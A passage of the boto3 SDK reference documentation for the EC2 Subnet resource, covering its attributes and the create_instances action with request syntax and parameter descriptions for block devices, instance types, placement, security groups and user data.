[get_available_subresources()](#EC2.Subnet.get_available_subresources "EC2.Subnet.get_available_subresources") +* [load()](#EC2.Subnet.load "EC2.Subnet.load") +* [reload()](#EC2.Subnet.reload "EC2.Subnet.reload") + +These are the resource's available collections: + +* [instances](#EC2.Subnet.instances "EC2.Subnet.instances") +* [network_interfaces](#EC2.Subnet.network_interfaces "EC2.Subnet.network_interfaces") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Subnet's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Subnet.load "EC2.Subnet.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +assign_ipv6_address_on_creation + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + +availability_zone + +* _(string) --_ + + The Availability Zone of the subnet. + + +availability_zone_id + +* _(string) --_ + + The AZ ID of the subnet. + + +available_ip_address_count + +* _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + +cidr_block + +* _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + +default_for_az + +* _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +map_customer_owned_ip_on_launch + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + +map_public_ip_on_launch + +* _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the subnet. + + +state + +* _(string) --_ + + The current state of the subnet. + + +subnet_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + +subnet_id + +* _(string) --_ + + The ID of the subnet. + + +tags + +* _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC the subnet is in. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +* [EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +* [EC2-Classic] If don't specify an Availability Zone, we choose one for you. +* Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +* [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +* Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +* If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +* If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +instance = subnet.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +* **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +* **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +* **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +* **MaxCount** (_integer_) -- + + **[REQUIRED]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +* **MinCount** (_integer_) -- + + **[REQUIRED]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +* **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + * **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +* **Placement** (_dict_) -- + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + * _(string) --_ +* **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + * _(string) --_ +* **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +* **AdditionalInfo** (_string_) -- Reserved. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +* **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an 